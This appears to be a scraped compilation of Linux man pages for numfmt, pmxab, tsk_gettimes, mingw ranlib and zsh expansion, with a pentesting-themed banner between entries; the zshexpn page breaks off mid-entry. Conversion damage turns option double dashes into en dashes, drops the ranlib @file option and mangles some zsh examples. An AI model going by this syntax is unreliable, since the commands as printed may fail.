░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1992 - Linux cli command numfmt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command numfmt and provides detailed information about the command numfmt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the numfmt.

NAME 🖥️ numfmt 🖥️

Convert numbers from/to human-readable strings

SYNOPSIS

numfmt [OPTION]… [NUMBER]…

DESCRIPTION

Reformat NUMBER(s), or the numbers from standard input if none are specified.

Mandatory arguments to long options are mandatory for short options too.

–debug
print warnings about invalid input

-d, –delimiter=X
use X instead of whitespace for field delimiter

–field=FIELDS
replace the numbers in these input fields (default=1); see FIELDS below

–format=FORMAT
use printf style floating-point FORMAT; see FORMAT below for details

–from=UNIT
auto-scale input numbers to UNITs; default is ’none’; see UNIT below

–from-unit=N
specify the input unit size (instead of the default 1)

–grouping
use locale-defined grouping of digits, e.g. 1,000,000 (which means it has no effect in the C/POSIX locale)

–header[=N]
print (without converting) the first N header lines; N defaults to 1 if not specified

–invalid=MODE
failure mode for invalid numbers: MODE can be: abort (default), fail, warn, ignore

–padding=N
pad the output to N characters; positive N will right-align; negative N will left-align; padding is ignored if the output is wider than N; the default is to automatically pad if a whitespace is found

–round=METHOD
use METHOD for rounding when scaling; METHOD can be: up, down, from-zero (default), towards-zero, nearest

–suffix=SUFFIX
add SUFFIX to output numbers, and accept optional SUFFIX in input numbers

–to=UNIT
auto-scale output numbers to UNITs; see UNIT below

–to-unit=N
the output unit size (instead of the default 1)

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

UNIT options:

none
no auto-scaling is done; suffixes will trigger an error

auto
accept optional single/two letter suffix:

1K = 1000, 1Ki = 1024, 1M = 1000000, 1Mi = 1048576,

si
accept optional single letter suffix:

1K = 1000, 1M = 1000000, …

iec
accept optional single letter suffix:

1K = 1024, 1M = 1048576, …

iec-i
accept optional two-letter suffix:

1Ki = 1024, 1Mi = 1048576, …

FIELDS supports cut(1) style field ranges:

N
N’th field, counted from 1

N-
from N’th field, to end of line

N-M
from N’th to M’th field (inclusive)

-M
from first to M’th field (inclusive)

-
all fields

Multiple fields/ranges can be separated with commas

FORMAT must be suitable for printing one floating-point argument ‘%f’. Optional quote (%‘f) will enable –grouping (if supported by current locale). Optional width value (%10f) will pad output. Optional zero (%010f) width will zero pad the number. Optional negative values (%-10f) will left align. Optional precision (%.1f) will override the input determined precision.

Exit status is 0 if all input numbers were successfully converted. By default, numfmt will stop at the first conversion error with exit status 2. With –invalid=‘fail’ a warning is printed for each conversion error and the exit status is 2. With –invalid=‘warn’ each conversion error is diagnosed, but the exit status is 0. With –invalid=‘ignore’ conversion errors are not diagnosed and the exit status is 0.

EXAMPLES

$ numfmt --to=si 1000

-> “1.0K”

$ numfmt --to=iec 2048

-> “2.0K”

$ numfmt --to=iec-i 4096

-> “4.0Ki”

$ echo 1K | numfmt --from=si

-> “1000”

$ echo 1K | numfmt --from=iec

-> “1024”

$ df -B1 | numfmt --header --field 2-4 --to=si
$ ls -l | numfmt --header --field 5 --to=iec
$ ls -lh | numfmt --header --field 5 --from=iec --padding=10
$ ls -lh | numfmt --header --field 5 --from=iec --format %10f

AUTHOR

Written by Assaf Gordon.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/numfmt>
or available locally via: info ‘(coreutils) numfmt invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1993 - Linux cli command pmxab

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pmxab and provides detailed information about the command pmxab, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pmxab.

NAME 🖥️ pmxab 🖥️

a MusiXTeX preprocessor

SYNOPSIS

pmxab basename*[.pmx]*

DESCRIPTION

pmxab is a preprocessor for MusiXTeX. It’s usually invoked by a frontend musixtex(1). To use it to its full benefit you should have installed MusiXTeX Version 1.21 or higher, and TeX itself. The goal of PMX is to facilitate the efficient typesetting of scores and parts that have an almost professional appearance. To learn more about typesetting with PMX, please read the PMX Manual.

When invoked directly, pmxab produces tex output utilizing the MusiXTeX macro set.

SEE ALSO

scor2prt(1), musixtex(1)

AUTHORS

PMX was written by Don Simons <[email protected]>. This manual page was written by Roland Stigge <[email protected]> for the Debian project and revised by Bob Tennent <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1994 - Linux cli command tsk_gettimes

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsk_gettimes and provides detailed information about the command tsk_gettimes, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsk_gettimes.

NAME 🖥️ tsk_gettimes 🖥️

Collect MAC times from a disk image into a body file.

SYNOPSIS

tsk_gettimes [-vV] [ -f fstype ] [ -i imgtype ] [ -b dev_sector_size ] [ -z zone ] [ -s seconds ] image [images]

DESCRIPTION

tsk_gettimes examines each of the file systems in a disk image and returns the data about them in the MACtime body format (the same as running ‘fls -m’ on each file system). The output of this can be used as input to mactime to make a timeline of file activity. The data is printed to STDOUT, which can then be redirected to a file.

The arguments are as follows:

-v
verbose output to stderr

-V
Print version

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
The format of the image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size (in bytes) of the device sectors. If not given, autodetection methods are used.

-o sector_offset
Sector offset for a volume to recover (recovers only that volume) If not given, will attempt to recover all volumes in image and save them to different folders.

-s seconds
The time skew of the original system in seconds. For example, if the original system was 100 seconds slow, this value would be -100.

-z zone
The ASCII string of the time zone of the original system. For example, EST or GMT. These strings must be defined by your operating system and may vary.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

EXAMPLES

To collect data about image image.dd:

# tsk_gettimes ./image.dd > body.txt

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1995 - Linux cli command x86_64-w64-mingw32-ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-ranlib and provides detailed information about the command x86_64-w64-mingw32-ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-ranlib.

NAME 🖥️ x86_64-w64-mingw32-ranlib 🖥️

generate an index to an archive

SYNOPSIS

ranlib [–plugin name] [-DhHvVt] archive

DESCRIPTION

ranlib generates an index to the contents of an archive and stores it in the archive. The index lists each symbol defined by a member of an archive that is a relocatable object file.

You may use nm -s or nm –print-armap to list this index.

An archive with such an index speeds up linking to the library and allows routines in the library to call each other without regard to their placement in the archive.

The GNU ranlib program is another form of GNU ar; running ranlib is completely equivalent to executing ar -s.

OPTIONS

-h

-H

–help

Show usage information for ranlib.

-v

-V

–version

Show the version number of ranlib.

-D
Operate in deterministic mode. The symbol map archive member’s header will show zero for the UID, GID, and timestamp. When this option is used, multiple runs will produce identical output files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, described below.

-t
Update the timestamp of the symbol map of an archive.

-U
Do not operate in deterministic mode. This is the inverse of the -D option, above: the archive index will get actual UID, GID, timestamp, and file mode values. If binutils was configured without –enable-deterministic-archives, then this mode is on by default.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1996 - Linux cli command zshexpn

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshexpn and provides detailed information about the command zshexpn, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshexpn.

NAME 🖥️ zshexpn 🖥️

zsh expansion and substitution

DESCRIPTION

The following types of expansions are performed in the indicated order in five steps:

History Expansion This is performed only in interactive shells.

Alias Expansion
Aliases are expanded immediately before the command line is parsed as explained under Aliasing in zshmisc(1).

Process Substitution

Parameter Expansion

Command Substitution

Arithmetic Expansion

Brace Expansion These five are performed in left-to-right fashion. On each argument, any of the five steps that are needed are performed one after the other. Hence, for example, all the parts of parameter expansion are completed before command substitution is started. After these expansions, all unquoted occurrences of the characters `**’,`’ and `"**’ are removed.

Filename Expansion
If the SH_FILE_EXPANSION option is set, the order of expansion is modified for compatibility with sh and ksh. In that case filename expansion is performed immediately after alias expansion, preceding the set of five expansions mentioned above.

Filename Generation
This expansion, commonly referred to as globbing, is always done last.

The following sections explain the types of expansion in detail.

HISTORY EXPANSION

History expansion allows you to use words from previous command lines in the command line you are typing. This simplifies spelling corrections and the repetition of complicated commands or arguments.

Immediately before execution, each command is saved in the history list, the size of which is controlled by the HISTSIZE parameter. The one most recent command is always retained in any case. Each saved command in the history list is called a history event and is assigned a number, beginning with 1 (one) when the shell starts up. The history number that you may see in your prompt (see EXPANSION OF PROMPT SEQUENCES in zshmisc(1)) is the number that is to be assigned to the next command.

Overview

A history expansion begins with the first character of the histchars parameter, which is `!’ by default, and may occur anywhere on the command line, including inside double quotes (but not inside single quotes ’…’ or C-style quotes $’…’ nor when escaped with a backslash).

The first character is followed by an optional event designator (see the section `Event Designators’) and then an optional word designator (the section `Word Designators’); if neither of these designators is present, no history expansion occurs.

Input lines containing history expansions are echoed after being expanded, but before any other expansions take place and before the command is executed. It is this expanded form that is recorded as the history event for later references.

History expansions do not nest.

By default, a history reference with no event designator refers to the same event as any preceding history reference on that command line; if it is the only history reference in a command, it refers to the previous command. However, if the option CSH_JUNKIE_HISTORY is set, then every history reference with no event specification always refers to the previous command.

For example, `!’ is the event designator for the previous command, so `!!:1’ always refers to the first word of the previous command, and `!!$’ always refers to the last word of the previous command. With CSH_JUNKIE_HISTORY set, then `!:1’ and `!$’ function in the same manner as `!!:1’ and `!!$’, respectively. Conversely, if CSH_JUNKIE_HISTORY is unset, then `!:1’ and `!$’ refer to the first and last words, respectively, of the same event referenced by the nearest other history reference preceding them on the current command line, or to the previous command if there is no preceding reference.

The character sequence `^foo^bar’ (where `^’ is actually the second character of the histchars parameter) repeats the last command, replacing the string foo with bar. More precisely, the sequence `^foo^bar^’ is synonymous with `!!:s^foo^bar^’, hence other modifiers (see the section `Modifiers’) may follow the final `^’. In particular, `^foo^bar^:G’ performs a global substitution.

If the shell encounters the character sequence `!"’ in the input, the history mechanism is temporarily disabled until the current list (see zshmisc(1)) is fully parsed. The `!"’ is removed from the input, and any subsequent `!’ characters have no special significance.

A less convenient but more comprehensible form of command history support is provided by the fc builtin.

Event Designators

An event designator is a reference to a command-line entry in the history list. In the list below, remember that the initial `!’ in each item may be changed to another character by setting the histchars parameter.

! Start a history expansion, except when followed by a blank, newline, `=’ or `(’. If followed immediately by a word designator (see the section `Word Designators’), this forms a history reference with no event designator (see the section `Overview’).

!!
Refer to the previous command. By itself, this expansion repeats the previous command.

**!**n
Refer to command-line n.

**!-**n
Refer to the current command-line minus n.

**!**str
Refer to the most recent command starting with str.

!?str[?]
Refer to the most recent command containing str. The trailing `?’ is necessary if this reference is to be followed by a modifier or followed by any text that is not to be considered part of str.

!#
Refer to the current command line typed in so far. The line is treated as if it were complete up to and including the word before the one with the `!#’ reference.

!{}
Insulate a history reference from adjacent characters (if necessary).

Word Designators

A word designator indicates which word or words of a given command line are to be included in a history reference. A `:’ usually separates the event specification from the word designator. It may be omitted only if the word designator begins with a `^’, `$’, `*’, `-’ or `%’. Word designators include:

0
The first input word (command).

n
The nth argument.

^
The first argument. That is, 1.

$
The last argument.

%
The word matched by (the most recent) **?**str search.

x**-**y
A range of words; x defaults to 0.

*
All the arguments, or a null value if there are none.

x*****
Abbreviates `x**-$**'.

x**-**
Like `x*****’ but omitting word $.

Note that a `%’ word designator works only when used in one of `!%’, `!:%’ or `!?str?:%’, and only when used after a !? expansion (possibly in an earlier command). Anything else results in an error, although the error may not be the most obvious one.

Modifiers

After the optional word designator, you can add a sequence of one or more of the following modifiers, each preceded by a `:’. These modifiers also work on the result of filename generation and parameter expansion, except where noted.

a Turn a file name into an absolute path: prepends the current directory, if necessary; remove `.’ path segments; and remove `..’ path segments and the segments that immediately precede them.

This transformation is agnostic about what is in the filesystem, i.e. is on the logical, not the physical directory. It takes place in the same manner as when changing directories when neither of the options CHASE_DOTS or CHASE_LINKS is set. For example, `/before/here/../after’ is always transformed to `/before/after’, regardless of whether `/before/here’ exists or what kind of object (dir, file, symlink, etc.) it is.

A
Turn a file name into an absolute path as the `a’ modifier does, and then pass the result through the realpath(3) library function to resolve symbolic links.

Note: on systems that do not have a realpath(3) library function, symbolic links are not resolved, so on those systems `a’ and `A’ are equivalent.

Note: foo:A and realpath(foo) are different on some inputs. For realpath(foo) semantics, see the `P` modifier.

c
Resolve a command name into an absolute path by searching the command path given by the PATH variable. This does not work for commands containing directory parts. Note also that this does not usually work as a glob qualifier unless a file of the same name is found in the current directory.

e
Remove all but the part of the filename extension following the `.’; see the definition of the filename extension in the description of the r modifier below. Note that according to that definition the result will be empty if the string ends with a `.'.

h [ digits ]
Remove a trailing pathname component, shortening the path by one directory level: this is the `head’ of the pathname. This works like `dirname’. If the h is followed immediately (with no spaces or other separator) by any number of decimal digits, and the value of the resulting number is non-zero, that number of leading components is preserved instead of the final component being removed. In an absolute path the leading `/’ is the first component, so, for example, if var=/my/path/to/something, then ${var:h3} substitutes /my/path. Consecutive `/’s are treated the same as a single `/’. In parameter substitution, digits may only be used if the expression is in braces, so for example the short form substitution $var:h2 is treated as ${var:h}2, not as ${var:h2}. No restriction applies to the use of digits in history substitution or globbing qualifiers. If more components are requested than are present, the entire path is substituted (so this does not trigger a `failed modifier’ error in history expansion).

l
Convert the words to all lowercase.

p
Print the new command but do not execute it. Only works with history expansion.

P
Turn a file name into an absolute path, like realpath(3). The resulting path will be absolute, will refer to the same directory entry as the input filename, and none of its components will be symbolic links or equal to `.’ or `..'.

Unlike realpath(3), non-existent trailing components are permitted and preserved.

q
Quote the substituted words, escaping further substitutions. Works with history expansion and parameter expansion, though for parameters it is only useful if the resulting text is to be re-evaluated such as by eval.

Q
Remove one level of quotes from the substituted words.

r
Remove a filename extension leaving the root name. Strings with no filename extension are not altered. A filename extension is a `.’ followed by any number of characters (including zero) that are neither `.’ nor `/’ and that continue to the end of the string. For example, the extension of `foo.orig.c’ is `.c’, and `dir.c/foo’ has no extension.

s/l/r[/]
Substitute r for l as described below. The substitution is done only for the first string that matches l. For arrays and for filename generation, this applies to each word of the expanded text. See below for further notes on substitutions.

The forms `**gs/l/**r’ and `s/l/r/:G’ perform global substitution, i.e. substitute every occurrence of r for l. Note that the g or :G must appear in exactly the position shown.

See further notes on this form of substitution below.

&
Repeat the previous s substitution. Like s, may be preceded immediately by a g. In parameter expansion the & must appear inside braces, and in filename generation it must be quoted with a backslash.

t [ digits ]
Remove all leading pathname components, leaving the final component (tail). This works like `basename’. Any trailing slashes are first removed. Decimal digits are handled as described above for (h), but in this case that number of trailing components is preserved instead of the default 1; 0 is treated the same as 1.

u
Convert the words to all uppercase.

x
Like q, but break into words at whitespace. Does not work with parameter expansion.

The s/l/r/ substitution works as follows. By default the left-hand side of substitutions are not patterns, but character strings. Any character can be used as the delimiter in place of `/’. A backslash quotes the delimiter character. The character `&’, in the right-hand-side r, is replaced by the text from the left-hand-side l. The `&’ can be quoted with a backslash. A null l uses the previous string either from the previous l or from the contextual scan string s from `!?s’. You can omit the rightmost delimiter if a newline immediately follows r; the rightmost `?’ in a context scan can similarly be omitted. Note the same record of the last l and r is maintained across all forms of expansion.

Note that if a `&’ is used within glob qualifiers an extra backslash is needed as a & is a special character in this case.

Also note that the order of expansions affects the interpretation of l and r. When used in a history expansion, which occurs before any other expansions, l and r are treated as literal strings (except as explained for HIST_SUBST_PATTERN below). When used in parameter expansion, the replacement of r into the parameter’s value is done first, and then any additional process, parameter, command, arithmetic, or brace references are applied, which may evaluate those substitutions and expansions more than once if l appears more than once in the starting value. When used in a glob qualifier, any substitutions or expansions are performed once at the time the qualifier is parsed, even before the `:s’ expression itself is divided into l and r sides.

If the option HIST_SUBST_PATTERN is set, l is treated as a pattern of the usual form described in the section FILENAME GENERATION below. This can be used in all the places where modifiers are available; note, however, that in globbing qualifiers parameter substitution has already taken place, so parameters in the replacement string should be quoted to ensure they are replaced at the correct time. Note also that complicated patterns used in globbing qualifiers may need the extended glob qualifier notation (#q:s///) in order for the shell to recognize the expression as a glob qualifier. Further, note that bad patterns in the substitution are not subject to the NO_BAD_PATTERN option so will cause an error.

When HIST_SUBST_PATTERN is set, l may start with a # to indicate that the pattern must match at the start of the string to be substituted, and a % may appear at the start or after an # to indicate that the pattern must match at the end of the string to be substituted. The % or # may be quoted with two backslashes.

For example, the following piece of filename generation code with the EXTENDED_GLOB option:

print -r – .c(#q:s/#%(#b)s().c/‘S${match[1]}.C’/)

takes the expansion of *.c and applies the glob qualifiers in the (#q*…) expression, which consists of a substitution modifier anchored to the start and end of each word (#%). This turns on backreferences ((#b)*), so that the parenthesised subexpression is available in the replacement string as ${match[1]}. The replacement string is quoted so that the parameter is not substituted before the start of filename generation.

The following f, F, w and W modifiers work only with parameter expansion and filename generation. They are listed here to provide a single point of reference for all modifiers.

f Repeats the immediately (without a colon) following modifier until the resulting word doesn’t change any more.

F:expr:
Like f, but repeats only n times if the expression expr evaluates to n. Any character can be used instead of the `:’; if `(’, `[’, or `{’ is used as the opening delimiter, the closing delimiter should be ‘)’, `]’, or `}’, respectively.

w
Makes the immediately following modifier work on each word in the string.

W:sep:
Like w but words are considered to be the parts of the string that are separated by sep. Any character can be used instead of the `:’; opening parentheses are handled specially, see above.

PROCESS SUBSTITUTION

Each part of a command argument that takes the form `<(list)’, `>(list)’ or `=(list)’ is subject to process substitution. The expression may be preceded or followed by other strings except that, to prevent clashes with commonly occurring strings and patterns, the last form must occur at the start of a command argument, and the forms are only expanded when first parsing command or assignment arguments. Process substitutions may be used following redirection operators; in this case, the substitution must appear with no trailing string.

Note that `<<(list)’ is not a special syntax; it is equivalent to `< <(list)’, redirecting standard input from the result of process substitution. Hence all the following documentation applies. The second form (with the space) is recommended for clarity.

In the case of the < or > forms, the shell runs the commands in list as a subprocess of the job executing the shell command line. If the system supports the /dev/fd mechanism, the command argument is the name of the device file corresponding to a file descriptor; otherwise, if the system supports named pipes (FIFOs), the command argument will be a named pipe. If the form with > is selected then writing on this special file will provide input for list. If < is used, then the file passed as an argument will be connected to the output of the list process. For example,

paste <(cut -f1 file1) <(cut -f3 file2) | tee >(process1) >(process2) >/dev/null

cuts fields 1 and 3 from the files file1 and file2 respectively, pastes the results together, and sends it to the processes process1 and process2**.**

If =() is used instead of <(), then the file passed as an argument will be the name of a temporary file containing the output of the list process. This may be used instead of the < form for a program that expects to lseek (see lseek**(2))** on the input file.

There is an optimisation for substitutions of the form =(<<<arg), where arg is a single-word argument to the here-string redirection <<<. This form produces a file name containing the value of arg after any substitutions have been performed. This is handled entirely within the current shell. This is effectively the reverse of the special form $(<arg) which treats arg as a file name and replaces it with the file’s contents.

The = form is useful as both the /dev/fd and the named pipe implementation of <() have drawbacks. In the former case, some programmes may automatically close the file descriptor in question before examining the file on the command line, particularly if this is necessary for security reasons such as when the programme is running setuid. In the second case, if the programme does not actually open the file, the subshell attempting to read from or write to the pipe will (in a typical implementation, different operating systems may have different behaviour) block for ever and have to be killed explicitly. In both cases, the shell actually supplies the information using a pipe, so that programmes that expect to lseek (see lseek**(2)) on the file will not work.**

Also note that the previous example can be more compactly and efficiently written (provided the MULTIOS option is set) as:

paste <(cut -f1 file1) <(cut -f3 file2) > >(process1) > >(process2)

The shell uses pipes instead of FIFOs to implement the latter two process substitutions in the above example.

There is an additional problem with >(process); when this is attached to an external command, the parent shell does not wait for process to finish and hence an immediately following command cannot rely on the results being complete. The problem and solution are the same as described in the section MULTIOS in zshmisc**(1). Hence in a simplified** version of the example above:

paste <(cut -f1 file1) <(cut -f3 file2) > >(process)

(note that no MULTIOS are involved), process will be run asynchronously as far as the parent shell is concerned. The workaround is:

{ paste <(cut -f1 file1) <(cut -f3 file2) } > >(process)

The extra processes here are spawned from the parent shell which will wait for their completion.

Another problem arises any time a job with a substitution that requires a temporary file is disowned by the shell, including the case where `&!’ or `&|’ appears at the end of a command containing a substitution. In that case the temporary file will not be cleaned up as the shell no longer has any memory of the job. A workaround is to use a subshell, for example,

(mycmd =(myoutput)) &!

as the forked subshell will wait for the command to finish then remove the temporary file.

A general workaround to ensure a process substitution endures for an appropriate length of time is to pass it as a parameter to an anonymous shell function (a piece of shell code that is run immediately with function scope). For example, this code:

() { print File $1: cat $1 } =(print This be the verse)

outputs something resembling the following

File /tmp/zsh6nU0kS: This be the verse

The temporary file created by the process substitution will be deleted when the function exits.

PARAMETER EXPANSION

The character `$’ is used to introduce parameter expansions. See zshparam**(1)** for a description of parameters, including arrays, associative arrays, and subscript notation to access individual array elements.

Note in particular the fact that words of unquoted parameters are not automatically split on whitespace unless the option SH_WORD_SPLIT is set; see references to this option below for more details. This is an important difference from other shells. However, as in other shells, null words are elided from unquoted parameters’ expansions.

With default options, after the assignments:

array=(“first word” "" “third word”) scalar=“only word”

then $array substitutes two words, `first word’ and `third word**’, and $scalar substitutes a single word `only word’. Note** that second element of array was elided. Scalar parameters can be elided too if their value is null (empty). To avoid elision, use quoting as follows: "$scalar" for scalars and “${array[@]}” or “${(@)array}” for arrays. (The last two forms are equivalent.)

Parameter expansions can involve flags**, as in `${(@kv)aliases}’,** and other operators, such as `${PREFIX:-"/usr/local"}’. Parameter expansions can also be nested. These topics will be introduced below. The full rules are complicated and are noted at the end.

In the expansions discussed below that require a pattern, the form of the pattern is the same as that used for filename generation; see the section `Filename Generation’. Note that these patterns, along with the replacement text of any substitutions, are themselves subject to parameter expansion, command substitution, and arithmetic expansion. In addition to the following operations, the colon modifiers described in the section `Modifiers’ in the section `History Expansion’ can be applied: for example, ${i:s/foo/bar/} performs string substitution on the expansion of parameter $i.

In the following descriptions, `word**’ refers to a single word** substituted on the command line, not necessarily a space delimited word.

${name} The value, if any, of the parameter name is substituted. The braces are required if the expansion is to be followed by a letter, digit, or underscore that is not to be interpreted as part of name**. In addition, more complicated forms of substitution** usually require the braces to be present; exceptions, which only apply if the option KSH_ARRAYS is not set, are a single subscript or any colon modifiers appearing after the name, or any of the characters `^’, `=’, `~’, `#’ or `+’ appearing before the name, all of which work with or without braces.

If name is an array parameter, and the KSH_ARRAYS option is not set, then the value of each element of name is substituted, one element per word. Otherwise, the expansion results in one word only; with KSH_ARRAYS, this is the first element of an array. No field splitting is done on the result unless the SH_WORD_SPLIT option is set. See also the flags = and s:string:.

${+name}
If name is the name of a set parameter `1’ is substituted, otherwise `0’ is substituted.

${name-word}

${name:-word} If name is set, or in the second form is non-null, then substitute its value; otherwise substitute word**. In the second form** name may be omitted, in which case word is always substituted.

${name+word}

${name:+word} If name is set, or in the second form is non-null, then substitute word**; otherwise substitute nothing.**

${name=word}

${name:=word}

${name::=word} In the first form, if name is unset then set it to word**; in the** second form, if name is unset or null then set it to word**; and** in the third form, unconditionally set name to word**. In all** forms, the value of the parameter is then substituted.

${name?word}

${name:?word} In the first form, if name is set, or in the second form if name is both set and non-null, then substitute its value; otherwise, print word and exit from the shell. Interactive shells instead return to the prompt. If word is omitted, then a standard message is printed.

In any of the above expressions that test a variable and substitute an alternate word**, note that you can use standard shell quoting in the** word value to selectively override the splitting done by the SH_WORD_SPLIT option and the = flag, but not splitting by the s:string: flag.

In the following expressions, when name is an array and the substitution is not quoted, or if the `(@)’ flag or the name**[@] syntax is used, matching and replacement is** performed on each array element separately.

${name#pattern}

${name##pattern} If the pattern matches the beginning of the value of name**, then substitute the value of** name with the matched portion deleted; otherwise, just substitute the value of name**. In the first** form, the smallest matching pattern is preferred; in the second form, the largest matching pattern is preferred.

${name%pattern}

${name%%pattern} If the pattern matches the end of the value of name**, then substitute the value of** name with the matched portion deleted; otherwise, just substitute the value of name**. In the first** form, the smallest matching pattern is preferred; in the second form, the largest matching pattern is preferred.

${name:#pattern}
If the pattern matches the value of name**, then substitute** the empty string; otherwise, just substitute the value of name**.** If name is an array the matching array elements are removed (use the `(M)’ flag to remove the non-matched elements).

${name:|arrayname}
